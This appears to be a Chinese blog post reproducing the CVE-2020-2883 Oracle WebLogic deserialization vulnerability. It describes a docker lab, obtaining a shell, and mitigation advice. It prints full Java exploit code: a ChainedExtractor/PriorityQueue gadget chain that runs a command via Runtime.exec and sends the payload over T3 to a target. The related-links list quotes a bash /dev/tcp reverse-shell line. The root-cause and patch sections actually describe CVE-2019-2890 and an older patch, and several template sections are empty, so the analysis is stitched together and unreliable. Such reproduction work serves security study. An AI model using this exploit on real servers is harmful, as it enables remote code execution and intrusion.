首页 > 其他分享 >漏洞复现报告:CVE-2020-2883 Weblogic反序列化漏洞

漏洞复现报告:CVE-2020-2883 Weblogic反序列化漏洞

时间:2023-08-04 17:34:12浏览次数:46  
标签:extractor 2883 util 漏洞 WebLogic new 序列化 com

Oracle WebLogic Server漏洞研究报告

一、漏洞信息搜集

1.1 漏洞信息表

漏洞名称

Oracle WebLogic Server 反序列化漏洞

发布时间

2020年4月16日

漏洞编号

CVE-2020-2883

威胁类型

反序列化漏洞

危害级别

高危

影响版本

Oracle WebLogic Server 10.3.6.0.0、12.1.3.0.0、12.2.1.3.0、12.2.1.4.0版本

漏洞描述

产品介绍:Oracle WebLogic Server是一款企业级的Java应用服务器,它作为Oracle Fusion Middleware产品套件的一部分,提供了强大的功能和性能,可用于构建、部署和管理大规模的Java应用和服务。

漏洞概述:该漏洞存在于Oracle WebLogic Server的WLS组件中,攻击者可以通过向服务器发送恶意构造的T3协议请求来触发漏洞,导致执行任意代码。

危害说明:获取系统敏感信息,篡改或删除数据,外部代码执行

漏洞指纹

常用端口/协议:7001端口/T3协议

请求参数/关键路径(漏洞入口):

漏洞验证与利用

POC:

EXP:

集成工具:

修复建议

正式修复方案:

临时修复方案:

参考链接

文章标题:链接






二、漏洞快速验证

2.1 漏洞靶机搭建

测试环境版本:WebLogic Server 10.3.6.0



方法一:使用vulhub搭建漏洞环境

1.安装docker和docker-compose

sudo apt-get install docker

sudo apt-get install python3-pip

pip3 install docker-compose

先在vulfocus平台拉取下载weblogic-cve_2020_2883漏洞镜像:

漏洞复现报告:CVE-2020-2883 Weblogic反序列化漏洞_漏洞复现


漏洞复现报告:CVE-2020-2883 Weblogic反序列化漏洞_Server_02


  1. 搭建漏洞环境

启动漏洞环境,查看环境镜像信息:

发现访问地址中给了一个访问地址,三个访问端口,然后在浏览器进行访问,首先访问第一个端口(这里由于我是在虚拟机中安装的docker,然后在docker中搭建的vulfocus平台,在docker中启动vulfocus的时候做了端口映射,不然物理机是无法直接访问虚拟机docker中运行的服务的,所以在访问的时候是直接访问的虚拟机地址与端口)

漏洞复现报告:CVE-2020-2883 Weblogic反序列化漏洞_weblogic_03


漏洞复现报告:CVE-2020-2883 Weblogic反序列化漏洞_Server_04


2.2 POC漏洞验证

在GitHub上找到攻击poc

漏洞复现报告:CVE-2020-2883 Weblogic反序列化漏洞_反序列化_05



漏洞复现报告:CVE-2020-2883 Weblogic反序列化漏洞_漏洞复现_06


修改poc


漏洞复现报告:CVE-2020-2883 Weblogic反序列化漏洞_Server_07



开放监听端口并将命令编码


漏洞复现报告:CVE-2020-2883 Weblogic反序列化漏洞_weblogic_08


Payload执行成功,拿到weblogic服务器shell

漏洞复现报告:CVE-2020-2883 Weblogic反序列化漏洞_weblogic_09











漏洞利用实践

该漏洞是对CVE-2020-2555的绕过,Oracle官方提供的CVE-2020-2555补丁中将LimitFilter类的toString()方法中的extract()方法调用全部移除了

漏洞复现报告:CVE-2020-2883 Weblogic反序列化漏洞_漏洞复现_10


漏洞复现报告:CVE-2020-2883 Weblogic反序列化漏洞_反序列化_11


首先创建一个valueExtractors数组,并将精心构造的三个ReflectionExtractor对象和ConstantExtractor对象放入其中:

之后将valueExtractors封装到ChainedExtractor对象中,然后新建一个ExtractorComparator对象,之后通过反射机制获得类的所有属性(包括private 声明的和继承类),之后设置其Accessible为"true"(setAccessible可以取消Java的权限控制检查,使私有方法可以访问,注意此时并没有更改其访问权限,可以理解为无视了作用域),之后将设置extractorComparator对象的m_extractor设置为chainedExtractor,从而实现之前分析中的"设置ChainedExtractor为this.m_extractor的实例来调用ChainedExtractor.extract()"的目的,之后创建一个队列对象,并添加两个值进去,然后通过反射机制获取comparator属性并设置Accessible,然后自定义比较器comparator:


package com.supeream;

// com.supeream from https://github.com/5up3rc/weblogic_cmd/// com.tangosol.util.extractor.ChainedExtractor from coherence.jar

import com.supeream.serial.Serializables;import com.supeream.weblogic.T3ProtocolOperation;import com.tangosol.coherence.reporter.extractor.ConstantExtractor;import com.tangosol.util.ValueExtractor;import com.tangosol.util.comparator.ExtractorComparator;import com.tangosol.util.extractor.ChainedExtractor;import com.tangosol.util.extractor.ReflectionExtractor;

import java.lang.reflect.Field;import java.util.PriorityQueue;

/*Author:Al1exGithub:https://github.com/Al1ex/CVE-2020-2883

ObjectInputStream.readObject() PriorityQueue.readObject() PriorityQueue.heapify() PriorityQueue.siftDown() siftDownUsingComparator() com.tangosol.util.comparator.ExtractorComparator.compare() com.tangosol.util.extractor.ChainedExtractor.extract() com.tangosol.util.extractor.ReflectionExtractor().extract() Method.invoke() ....... com.tangosol.util.extractor.ReflectionExtractor().extract() Method.invoke() Runtime.exec()*/

public class CVE_2020_2883 {


public static void main(String[] args) throws Exception {

ValueExtractor[] valueExtractors = new ValueExtractor[]{

new ConstantExtractor(Runtime.class),

new ReflectionExtractor("getMethod", new Object[]{"getRuntime", new Class[0]}),

new ReflectionExtractor("invoke", new Object[]{null, new Object[0]}),

new ReflectionExtractor("exec", new Object[]{new String[]{"cmd.exe", "/c", "calc"}})

};


ChainedExtractor chainedExtractor = new ChainedExtractor(valueExtractors);


ExtractorComparator extractorComparator = new ExtractorComparator<Object>();

Field m_extractor = extractorComparator.getClass().getDeclaredField("m_extractor");

m_extractor.setAccessible(true);

m_extractor.set(extractorComparator, chainedExtractor);


PriorityQueue priorityQueue = new PriorityQueue();

priorityQueue.add("foo");

priorityQueue.add("bar");


Field comparator = priorityQueue.getClass().getDeclaredField("comparator");

comparator.setAccessible(true);

comparator.set(priorityQueue, extractorComparator);


byte[] payload = Serializables.serialize(priorityQueue);


T3ProtocolOperation.send("192.168.174.144", "7001", payload);


}}

漏洞复现报告:CVE-2020-2883 Weblogic反序列化漏洞_weblogic_12


漏洞修复实践

4.1 修复方案

1:临时解决方案根据业务所有需求,考虑是否删除WLS-WebServices组件。包含此组件路径为:

Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/wls-wsat

Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/.internal/wls-wsat.war

Middleware/wlserver_10.3/server/lib/wls-wsat.war

以上路径都在WebLogic安装处。删除以上文件之后,需重启WebLogic。确认http://weblogic_ip/wls-wsat/ 是否为404页面。


2.禁用 T3 协议:如果您不依赖 T3 协议进行JVM通信,可通过暂时阻断 T3 协议缓解此漏洞带来的影响。


4.2 修复方案:标准解决方案

官方补丁修复前往Oracle官网下载10月份所提供的安全补丁。

https://www.oracle.com/security-alerts/cpuoct2019.html

漏洞工具工程化

(漏洞工具工程化常见有三个开发场景:单体漏洞检测与利用、批量检测与利用、集成化工具,每个工具工程化需要将对应的设计思路、应用示例、代码解析、安装部署和使用说明分别开展详细说明,并记录详细过程提供文字说明以及相关截图。)


五、漏洞原理分析

漏洞原理分析

漏洞代码位于weblogic.jar中weblogic.wsee.jaxws.persistence.PersistentContext.class文件,它的readObject函数调用了readSubject函数,readSubject函数中使用了ObjectInputStream.readObject来反序列化对象。

漏洞复现报告:CVE-2020-2883 Weblogic反序列化漏洞_weblogic_13


查看对应的writeObject的逻辑,只要我们给对应的localObjectOutputStream.writeObject()序列化一个恶意对象,则PersistentContext对象被反序列化时,它的readObject函数被调用,readSubject函数中对恶意对象进行反序列化。因此通过T3发送精心伪造的PersistentContext对象,则可成功绕过黑名单检查。

漏洞复现报告:CVE-2020-2883 Weblogic反序列化漏洞_反序列化_14





漏洞修复分析

更新补丁:Oracle已针对CVE-2019-2890漏洞发布了补丁,用户应及时下载并安装相关补丁。这些补丁会修复存在漏洞的WebLogic Server版本中的安全问题。


升级至受影响版本之外:如果已知的WebLogic Server版本存在固有的漏洞,而补丁尚未提供或不可行,建议用户升级至不受漏洞影响的最新版本或已修复版本。升级到较新的版本可以提供更多安全性和稳定性的增强。


配置网络访问控制:网络访问控制是一种有效的安全措施,可以限制对受影响WebLogic Server实例的访问。使用防火墙或网络级别的访问控制列表(ACL)可以限制对服务器的公开访问,并允许只有授权的用户或IP地址可以访问。


关闭不必要的服务和组件:根据实际需求,可以考虑关闭或禁用不必要的服务和组件,以减少潜在的攻击面。只开放需要公开访问的服务,并限制来自外部网络的流量。


加强身份验证和授权措施:确保正确配置和使用WebLogic Server中提供的身份验证和授权机制。强制要求用户使用强密码,并使用多因素身份验证等安全性增强功能。


持续监控和漏洞管理:定期检查相关漏洞公告和安全通知,保持对已知漏洞的感知。同时,建立漏洞管理流程,及时应用补丁和修复措施,并进行系统审计和漏洞扫描,以保持基础设施的安全性。



标签:extractor,2883,util,漏洞,WebLogic,new,序列化,com
From: https://blog.51cto.com/u_15854462/6965165

相关文章

  • 漏洞复现报告:CVE-2019-2890 反序列化漏洞
    OracleWebLogicServer漏洞研究报告一、漏洞信息搜集1.1漏洞信息表漏洞名称OracleWebLogicServer反序列化漏洞发布时间2019年10月16日漏洞编号CVE-2019-2890威胁类型反序列化漏洞危害级别高危影响版本OracleWebLogicServer10.3.6.0.0、12.1.3.0.0、12.2.1.3.0、12.2.1.4.0......
  • Aapache Tomcat AJP 文件包含漏洞(CVE-2020-1938)
    AapacheTomcatAJP文件包含漏洞(CVE-2020-1938)【项目中遇到过】1.背景简述java是目前WEB开发中主流的编程语言,而Tomcat是当前流行的Java中间件服务器之一。Ghostcat(幽灵猫)是由长亭科技安全研究员发现的存在于Tomcat中的安全漏洞,由于TomcatAJP协议设计上存在缺陷,攻击者通......
  • php反序列化
    serialize() 函数用于序列化对象或数组,并返回一个字符串。unserialize()反序列化,将字符串转化为对象。通常见到调用外部文件,然后需要通过调用某个函数来执行最终得到flag。常见函数如下: ......
  • ActiveMQ任意文件写入漏洞(CVE-2016-3088)
    ActiveMQ任意文件写入漏洞(CVE-2016-3088)【现实项目遇到过】1.环境搭建cdvulhub-master/activemq/CVE-2016-3088docker-composeup-ddocker-composeconfig#查看靶场环境相关的配置信息docker-composedown#关闭靶场环境环境监听61616端口和8161端口,其中8......
  • CVE-2021-44228 Apache log4j2远程代码执行漏洞
     漏洞复现验证是否存在apachelog4j2漏洞https://github.com/welk1n/JNDI-Injection-Exploit/releases/tag/v1.0反弹shellbash-i>&/dev/tcp/ip/port0>&1将此命令进行javaruntimebash编码https://www.jackson-t.ca/runtime-exec-payloads.htmljava-jarjndi-injectio......
  • Confluence OGNL表达式注入命令执行漏洞(CVE-2022-26134)
    ConfluenceOGNL表达式注入命令执行漏洞(CVE-2022-26134)简介AtlassianConfluence是企业广泛使用的wiki系统。2022年6月2日Atlassian官方发布了一则安全更新,通告了一个严重且已在野利用的代码执行漏洞,攻击者利用这个漏洞即可无需任何条件在Confluence中执行任意命令。受影响版本......
  • web渗透测试(14):文件上传漏洞
    在本节中,我们将介绍如何使用文件上载功能来获取代码。 在Web应用程序(尤其是使用文件系统来确定应运行哪些代码的应用程序)中,如果您设法上传具有正确文件名的文件(通常取决于扩展名),则可以在服务器上执行代码。在本节中,我们将看到这些类型的攻击的基础知识。 首先,由于我们正在开......
  • 序列化器-Serializer
    序列化器-Serializer1定义序列化器DjangoRESTframework中的Serializer使用类来定义,须继承自rest_framework.serializers.Serializer。例如,我们已有了一个数据库模型类BookInfoclassBookInfo(models.Model):btitle=models.CharField(max_length=20,verbose_name='......
  • fastjson 1.2.80 漏洞浅析及利用payload
    0x01说明在fastjson的1.2.80版本中可以通过将依赖加入到java.lang.Exception期望类的子类中,绕过checkAuto。0x02简析{"@type":"java.lang.Exception","@type":"org.codehaus.groovy.control.CompilationFailedException","unit":{......
  • PHP反序列化例题以及Bypass总结
    unseping题目源码<?phphighlight_file(__FILE__);classease{private$method;private$args;function__construct($method,$args){$this->method=$method;$this->args=$args;}function__destruct(){......